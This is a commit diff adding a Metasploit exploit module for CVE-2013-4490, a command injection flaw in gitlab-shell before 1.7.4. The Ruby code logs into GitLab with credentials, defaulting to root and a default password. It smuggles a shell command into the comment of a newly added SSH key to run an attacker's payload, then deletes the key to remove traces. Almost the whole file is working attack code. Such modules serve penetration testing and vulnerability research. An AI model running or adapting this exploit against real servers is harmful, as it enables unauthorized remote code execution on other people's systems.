|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'net/ssh' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Exploit::CmdStager |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Gitlab-shell Code Execution', |
| 18 | + 'Description' => %q( |
| 19 | + This module takes advantage of the addition of authorized |
| 20 | + ssh keys in the gitlab-shell functionality of Gitlab. Versions |
| 21 | + of gitlab-shell prior to 1.7.4 used the ssh key provided directly |
| 22 | + in a system call resulting in a command injection vulnerability. As |
| 23 | + this relies on adding an ssh key to an account valid credentials |
| 24 | + are required to exploit this vulnerability. |
| 25 | + ), |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Brandon Knight' |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'], |
| 34 | + ['CVE', '2013-4490'] |
| 35 | + ], |
| 36 | + 'Platform' => 'linux', |
| 37 | + 'Targets' => |
| 38 | + [ |
| 39 | + ['Linux', { |
| 40 | + 'Platform' => 'linux', |
| 41 | + 'Arch' => ARCH_X86 |
| 42 | + }], |
| 43 | + ['Linux (x64)', { |
| 44 | + 'Platform' => 'linux', |
| 45 | + 'Arch' => ARCH_X86_64 |
| 46 | + }], |
| 47 | + ['Unix (CMD)', { |
| 48 | + 'Platform' => 'unix', |
| 49 | + 'Arch' => ARCH_CMD, |
| 50 | + 'Payload' => |
| 51 | + { |
| 52 | + 'Compat' => { |
| 53 | + 'RequiredCmd' => 'perl python ruby openssl netcat' |
| 54 | + } |
| 55 | + } |
| 56 | + |
| 57 | + }] |
| 58 | + ], |
| 59 | + 'CmdStagerFlavor' => %w( bourne printf ), |
| 60 | + 'DisclosureDate' => 'Nov 4 2013', |
| 61 | + 'DefaultTarget' => 0)) |
| 62 | + |
| 63 | + register_options( |
| 64 | + [ |
| 65 | + OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']), |
| 66 | + OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']), |
| 67 | + OptString.new('TARGETURI', [true, 'The path to Gitlab', '/']) |
| 68 | + ], self.class) |
| 69 | + end |
| 70 | + |
| 71 | + def exploit |
| 72 | + if target.name == 'Unix (CMD)' |
| 73 | + execute_command(payload.encoded) |
| 74 | + else |
| 75 | + execute_cmdstager(temp: './', linemax: 2800) |
| 76 | + end |
| 77 | + end |
| 78 | + |
| 79 | + def execute_command(cmd, _opts = {}) |
| 80 | + session_cookie = login |
| 81 | + key_id = add_key(session_cookie, cmd) |
| 82 | + delete_key(session_cookie, key_id) |
| 83 | + end |
| 84 | + |
| 85 | + def login |
| 86 | + username = datastore['USERNAME'] |
| 87 | + password = datastore['PASSWORD'] |
| 88 | + signin_page = datastore['TARGETURI'] + 'users/sign_in' |
| 89 | + |
| 90 | + # Get a valid session cookie and authenticity_token for the next step |
| 91 | + res = send_request_cgi( |
| 92 | + 'method' => 'GET', |
| 93 | + 'cookie' => 'request_method=GET', |
| 94 | + 'uri' => signin_page |
| 95 | + ) |
| 96 | + |
| 97 | + fail_with(Failure::Unknown, "#{peer} - Connection timed out during login") unless res |
| 98 | + |
| 99 | + session_cookie = res.get_cookies.scan(/(_gitlab_session=[a-z0-9]+)/).flatten[0] || '' |
| 100 | + auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0] |
| 101 | + |
| 102 | + # Perform the actual login and get the newly assigned session cookie |
| 103 | + res = send_request_cgi( |
| 104 | + 'method' => 'POST', |
| 105 | + 'cookie' => session_cookie, |
| 106 | + 'uri' => signin_page, |
| 107 | + 'vars_post' => |
| 108 | + { |
| 109 | + 'utf8' => "\xE2\x9C\x93", |
| 110 | + 'authenticity_token' => auth_token, |
| 111 | + 'user[login]' => username, |
| 112 | + 'user[password]' => password, |
| 113 | + 'user[remember_me]' => 0 |
| 114 | + } |
| 115 | + ) |
| 116 | + |
| 117 | + fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res |
| 118 | + |
| 119 | + session_cookie = res.get_cookies.scan(/(_gitlab_session=[a-z0-9]+)/).flatten[0] |
| 120 | + |
| 121 | + session_cookie |
| 122 | + end |
| 123 | + |
| 124 | + def add_key(session_cookie, cmd) |
| 125 | + add_key_base = datastore['TARGETURI'] + 'profile/keys' |
| 126 | + |
| 127 | + # Perform an initial request to get an authenticity_token so the actual |
| 128 | + # key addition can be done successfully. |
| 129 | + res = send_request_cgi( |
| 130 | + 'method' => 'GET', |
| 131 | + 'cookie' => "request_method=GET; #{session_cookie}", |
| 132 | + 'uri' => add_key_base + '/new' |
| 133 | + ) |
| 134 | + |
| 135 | + fail_with(Failure::Unknown, "#{peer} - Connection timed out during request") unless res |
| 136 | + |
| 137 | + auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0] |
| 138 | + title = rand_text_alphanumeric(16) |
| 139 | + key_info = rand_text_alphanumeric(6) |
| 140 | + |
| 141 | + # Generate a random ssh key |
| 142 | + key = OpenSSL::PKey::RSA.new 2048 |
| 143 | + type = key.ssh_type |
| 144 | + data = [key.to_blob].pack('m0') |
| 145 | + |
| 146 | + openssh_format = "#{type} #{data}" |
| 147 | + |
| 148 | + # Place the payload in to the key information to perform the command injection |
| 149 | + key = "#{openssh_format} #{key_info}';#{cmd}; echo '" |
| 150 | + |
| 151 | + res = send_request_cgi( |
| 152 | + 'method' => 'POST', |
| 153 | + 'cookie' => "request_method=GET; #{session_cookie}", |
| 154 | + 'uri' => add_key_base, |
| 155 | + 'vars_post' => |
| 156 | + { |
| 157 | + 'utf8' => "\xE2\x9C\x93", |
| 158 | + 'authenticity_token' => auth_token, |
| 159 | + 'key[title]' => title, |
| 160 | + 'key[key]' => key |
| 161 | + } |
| 162 | + ) |
| 163 | + |
| 164 | + fail_with(Failure::Unknown, "#{peer} - Request to add key failed") unless res |
| 165 | + |
| 166 | + # Get the newly added key id so it can be used for cleanup |
| 167 | + key_id = res.headers['Location'].split('/')[-1] |
| 168 | + |
| 169 | + key_id |
| 170 | + end |
| 171 | + |
| 172 | + def delete_key(session_cookie, key_id) |
| 173 | + key_base = datastore['TARGETURI'] + 'profile/keys' |
| 174 | + |
| 175 | + res = send_request_cgi( |
| 176 | + 'method' => 'GET', |
| 177 | + 'cookie' => "request_method=GET; #{session_cookie}", |
| 178 | + 'uri' => key_base |
| 179 | + ) |
| 180 | + |
| 181 | + fail_with(Failure::Unknown, "#{peer} - Connection timed out during request") unless res |
| 182 | + |
| 183 | + auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0] |
| 184 | + |
| 185 | + # Remove the key which was added to clean up after ourselves |
| 186 | + res = send_request_cgi( |
| 187 | + 'method' => 'POST', |
| 188 | + 'cookie' => "#{session_cookie}", |
| 189 | + 'uri' => "#{key_base}/#{key_id}", |
| 190 | + 'vars_post' => |
| 191 | + { |
| 192 | + '_method' => 'delete', |
| 193 | + 'authenticity_token' => auth_token |
| 194 | + } |
| 195 | + ) |
| 196 | + |
| 197 | + fail_with(Failure::Unknown, "#{peer} - Request to delete key failed") unless res |
| 198 | + end |
| 199 | +end |
0 commit comments